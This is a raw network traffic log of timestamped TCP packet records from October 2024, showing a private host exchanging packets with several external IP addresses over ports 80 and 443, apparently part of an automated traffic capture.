Oct 21, 2024 10:47:35.035311937 CEST	443	50023	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:35.035345078 CEST	443	50023	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:35.035413027 CEST	443	50023	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:35.045492887 CEST	50023	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:35.096764088 CEST	50023	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:35.096774101 CEST	443	50023	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:35.096797943 CEST	50023	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:35.096802950 CEST	443	50023	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:35.151498079 CEST	50033	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:35.151510000 CEST	443	50033	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:35.160330057 CEST	50033	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:35.161137104 CEST	50033	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:35.161147118 CEST	443	50033	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:35.201112986 CEST	80	50025	185.215.113.37	192.168.2.4
Oct 21, 2024 10:47:35.203072071 CEST	50025	80	192.168.2.4	185.215.113.37
Oct 21, 2024 10:47:35.348325968 CEST	443	50026	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:35.348623991 CEST	443	50026	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:35.355434895 CEST	443	50026	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:35.362169981 CEST	50026	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:35.475279093 CEST	50026	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:35.475295067 CEST	443	50026	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:35.552459002 CEST	50000	80	192.168.2.4	185.215.113.43
Oct 21, 2024 10:47:35.552726984 CEST	50036	80	192.168.2.4	185.215.113.43
Oct 21, 2024 10:47:35.557550907 CEST	80	50036	185.215.113.43	192.168.2.4
Oct 21, 2024 10:47:35.557996988 CEST	80	50000	185.215.113.43	192.168.2.4
Oct 21, 2024 10:47:35.559067011 CEST	50000	80	192.168.2.4	185.215.113.43
Oct 21, 2024 10:47:35.559089899 CEST	50036	80	192.168.2.4	185.215.113.43
Oct 21, 2024 10:47:35.603960991 CEST	50036	80	192.168.2.4	185.215.113.43
Oct 21, 2024 10:47:35.608866930 CEST	80	50036	185.215.113.43	192.168.2.4
Oct 21, 2024 10:47:35.769397020 CEST	443	50033	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:35.769431114 CEST	443	50033	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:35.776072025 CEST	50033	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:35.777899027 CEST	50033	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:35.777905941 CEST	443	50033	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:35.778312922 CEST	443	50033	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:35.786760092 CEST	50033	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:35.786916971 CEST	50033	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:35.786953926 CEST	443	50033	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:35.795586109 CEST	50033	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:35.795631886 CEST	443	50033	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:36.378700972 CEST	443	50033	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:36.379075050 CEST	50033	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:36.460889101 CEST	80	50036	185.215.113.43	192.168.2.4
Oct 21, 2024 10:47:36.460988045 CEST	50036	80	192.168.2.4	185.215.113.43
Oct 21, 2024 10:47:36.463287115 CEST	50008	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:36.463849068 CEST	50042	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:36.468698025 CEST	80	50042	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:36.468796015 CEST	50042	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:36.468971968 CEST	80	50008	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:36.469038963 CEST	50008	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:36.469063044 CEST	50042	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:36.473860025 CEST	80	50042	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:36.663350105 CEST	50045	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:36.663376093 CEST	443	50045	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:36.663470984 CEST	50045	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:36.663752079 CEST	50045	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:36.663768053 CEST	443	50045	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:36.861514091 CEST	50047	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:36.861541033 CEST	443	50047	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:36.861640930 CEST	50047	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:36.861978054 CEST	50047	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:36.861989975 CEST	443	50047	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:36.973844051 CEST	50049	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:36.973881960 CEST	443	50049	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:36.973959923 CEST	50049	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:36.974239111 CEST	50049	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:36.974251986 CEST	443	50049	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:37.280904055 CEST	443	50045	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:37.291445017 CEST	443	50045	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:37.292495012 CEST	50045	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:37.292536020 CEST	50045	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:37.302409887 CEST	50045	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:37.302422047 CEST	443	50045	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:37.303782940 CEST	443	50045	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:37.307924032 CEST	50045	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:37.308067083 CEST	50045	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:37.308094978 CEST	443	50045	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:37.338676929 CEST	50051	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:47:37.338686943 CEST	443	50051	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:37.339063883 CEST	50051	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:47:37.340106010 CEST	50051	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:47:37.340116978 CEST	443	50051	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:37.373064995 CEST	80	50042	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:37.373140097 CEST	50042	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:37.481579065 CEST	443	50047	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:37.481806993 CEST	50047	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:37.495862007 CEST	50047	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:37.495881081 CEST	443	50047	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:37.496779919 CEST	443	50047	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:37.498142958 CEST	50047	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:37.498172045 CEST	50047	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:37.498294115 CEST	443	50047	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:37.582480907 CEST	443	50049	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:37.582556009 CEST	50049	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:37.585972071 CEST	50049	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:37.585980892 CEST	443	50049	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:37.586204052 CEST	443	50049	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:37.587572098 CEST	50049	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:37.587997913 CEST	50049	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:37.588028908 CEST	443	50049	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:37.588098049 CEST	50049	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:37.588104010 CEST	443	50049	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:37.844965935 CEST	443	50047	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:37.845215082 CEST	443	50047	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:37.850584984 CEST	50047	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:37.854212999 CEST	443	50045	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:37.854459047 CEST	443	50045	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:37.859426022 CEST	443	50045	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:37.860014915 CEST	50045	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:37.950757980 CEST	50047	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:37.950773001 CEST	443	50047	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:37.950784922 CEST	50047	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:37.950792074 CEST	443	50047	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:37.971333027 CEST	50045	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:37.971359968 CEST	443	50045	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:38.096755028 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:38.101603985 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:38.116044044 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:38.118134975 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:38.122982979 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:38.201709986 CEST	443	50051	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:38.202354908 CEST	50051	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:47:38.204587936 CEST	50051	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:47:38.204592943 CEST	443	50051	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:38.204926014 CEST	443	50051	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:38.257246971 CEST	50051	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:47:38.280368090 CEST	443	50049	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:38.280431032 CEST	443	50049	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:38.287695885 CEST	50049	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:38.309086084 CEST	50049	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:38.309102058 CEST	443	50049	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:38.352016926 CEST	50051	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:47:38.395415068 CEST	443	50051	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:38.983462095 CEST	443	50051	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:38.983489037 CEST	443	50051	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:38.983498096 CEST	443	50051	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:38.983515978 CEST	443	50051	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:38.983525038 CEST	443	50051	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:38.985363960 CEST	50051	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:47:38.985387087 CEST	443	50051	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:38.985620022 CEST	50051	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:47:39.004395008 CEST	443	50051	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:39.004419088 CEST	443	50051	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:39.005363941 CEST	50051	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:47:39.005373001 CEST	443	50051	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:39.005517960 CEST	50051	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:47:39.011188984 CEST	443	50051	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:39.011261940 CEST	443	50051	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:39.013880014 CEST	50051	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:47:39.014254093 CEST	50051	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:47:39.014266014 CEST	443	50051	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:39.014280081 CEST	50051	443	192.168.2.4	104.102.49.254
Oct 21, 2024 10:47:39.014283895 CEST	443	50051	104.102.49.254	192.168.2.4
Oct 21, 2024 10:47:39.018481970 CEST	50062	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:39.018517017 CEST	443	50062	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:39.018610001 CEST	50062	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:39.018906116 CEST	50062	443	192.168.2.4	172.67.206.204
Oct 21, 2024 10:47:39.018922091 CEST	443	50062	172.67.206.204	192.168.2.4
Oct 21, 2024 10:47:39.035936117 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.035995007 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.036030054 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.036062002 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.036096096 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.036127090 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.036160946 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.036192894 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.036226034 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.036259890 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.036473036 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.036498070 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.041347027 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.091913939 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.197973013 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.198036909 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.198088884 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.198123932 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.198158979 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.198471069 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.198503971 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.198539019 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.198570967 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.198606014 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.198662043 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.199013948 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.199441910 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.199492931 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.199527979 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.199558973 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.199592113 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.200570107 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.200628996 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.200664997 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.200696945 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.200733900 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.201323032 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.201441050 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.203711987 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.203785896 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.358118057 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.358160019 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.358308077 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.358341932 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.358375072 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.358407974 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.358439922 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.358473063 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.358747005 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.358804941 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.358838081 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.358871937 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.358905077 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.359234095 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.359302998 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.359337091 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.359467983 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.359499931 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.359535933 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.359915018 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.359946966 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.359997034 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.360028982 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.360061884 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.360094070 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.360126972 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.360161066 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.360763073 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.360799074 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.360852003 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.360886097 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.360918045 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.360953093 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.361053944 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.361088037 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.361649990 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.361790895 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.361824036 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.361856937 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.361887932 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.361920118 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.361953020 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.361988068 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.377170086 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.377840996 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.377871037 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.377904892 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.377966881 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.382118940 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.382153034 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.382189035 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.382219076 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.384265900 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.491380930 CEST	50025	80	192.168.2.4	185.215.113.37
Oct 21, 2024 10:47:39.519942045 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.519984007 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.520021915 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.520072937 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.520107985 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.520142078 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.520174980 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.520206928 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.520261049 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.520479918 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.520574093 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.520642042 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.520675898 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.520706892 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.520741940 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.520772934 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.520809889 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.521397114 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.521429062 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.521481991 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.521512985 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.521547079 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.521579027 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.521611929 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.521646023 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.522345066 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.522377014 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.522408962 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.522440910 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.522473097 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.522504091 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.522536993 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.522571087 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.523216963 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.523250103 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.523282051 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.523313999 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.523346901 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.523377895 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.523426056 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.523463011 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.524038076 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.524071932 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.524143934 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.524178982 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.524209976 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.524243116 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.524275064 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.524308920 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.524977922 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.525027990 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.525062084 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.525093079 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.525126934 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.525157928 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.525191069 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.525223970 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.525922060 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.525954008 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.525988102 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.526020050 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.526053905 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.526086092 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.526118994 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.526153088 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.526846886 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.526880026 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.526912928 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.526945114 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.526978016 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.527009964 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.527043104 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.527076960 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.530915022 CEST	50056	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:47:39.535919905 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.535953045 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.535986900 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.536017895 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.536051989 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.536084890 CEST	80	50056	185.215.113.16	192.168.2.4
Oct 21, 2024 10:47:39.536117077 CEST	80	50056	185.215.113.16	192.168.2.4
